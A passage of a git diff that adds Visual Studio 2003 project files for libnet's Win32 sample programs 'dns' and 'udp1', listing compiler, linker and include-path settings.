+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ </Configuration>
+ <Configuration
+ Name="Release|Win32"
+ OutputDirectory="Release"
+ IntermediateDirectory="Release"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="2"
+ InlineFunctionExpansion="1"
+ OmitFramePointers="TRUE"
+ AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
+ StringPooling="TRUE"
+ RuntimeLibrary="4"
+ EnableFunctionLevelLinking="TRUE"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="3"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/dns.exe"
+ LinkIncremental="1"
+ GenerateDebugInformation="TRUE"
+ SubSystem="1"
+ OptimizeReferences="2"
+ EnableCOMDATFolding="2"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ </Configuration>
+ </Configurations>
+ <Files>
+ <Filter
+ Name="Source Files"
+ Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm">
+ <File
+ RelativePath="..\..\dns.c">
+ </File>
+ <File
+ RelativePath="..\getopt.c">
+ </File>
+ </Filter>
+ <Filter
+ Name="Header Files"
+ Filter="h;hpp;hxx;hm;inl;inc">
+ </Filter>
+ <Filter
+ Name="Resource Files"
+ Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe">
+ </Filter>
+ </Files>
+ <Globals>
+ </Globals>
+</VisualStudioProject>
diff --git a/libnet/sample/win32/udp1/udp1.vcproj b/libnet/sample/win32/udp1/udp1.vcproj
new file mode 100644
index 0000000..91e4a99
--- /dev/null
+++ b/libnet/sample/win32/udp1/udp1.vcproj
@@ -0,0 +1,139 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+ ProjectType="Visual C++"
+ Version="7.10"
+ Name="udp1"
+ ProjectGUID="{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+ Keyword="Win32Proj">
+ <Platforms>
+ <Platform
+ Name="Win32"/>
+ </Platforms>
+ <Configurations>
+ <Configuration
+ Name="Debug|Win32"
+ OutputDirectory="Debug"
+ IntermediateDirectory="Debug"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="0"
+ AdditionalIncludeDirectories="..\..\..\include; ..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
+ MinimalRebuild="TRUE"
+ BasicRuntimeChecks="3"
+ RuntimeLibrary="5"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="4"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/udp1.exe"
+ LinkIncremental="2"
+ GenerateDebugInformation="TRUE"
+ ProgramDatabaseFile="$(OutDir)/upd1.pdb"
+ SubSystem="1"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ <Configuration
+ Name="Release|Win32"
+ OutputDirectory="Release"
+ IntermediateDirectory="Release"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="2"
+ InlineFunctionExpansion="1"
+ OmitFramePointers="TRUE"
+ AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
+ StringPooling="TRUE"
+ RuntimeLibrary="4"
+ EnableFunctionLevelLinking="TRUE"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="3"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/udp1.exe"
+ LinkIncremental="1"
+ GenerateDebugInformation="TRUE"
+ SubSystem="1"
+ OptimizeReferences="2"
+ EnableCOMDATFolding="2"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ </Configurations>
+ <References>
+ </References>
+ <Files>
+ <Filter
+ Name="Source Files"
+ Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm">
+ <File
+ RelativePath="..\getopt.c">
+ </File>
+ <File
+ RelativePath="..\..\udp1.c">
+ </File>
+ </Filter>
+ <Filter
+ Name="Header Files"
+ Filter="h;hpp;hxx;hm;inl;inc">
+ </Filter>
+ <Filter
+ Name="Resource Files"
+ Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe">
+ </Filter>
+ </Files>
+ <Globals>
+ </Globals>
+</VisualStudioProject>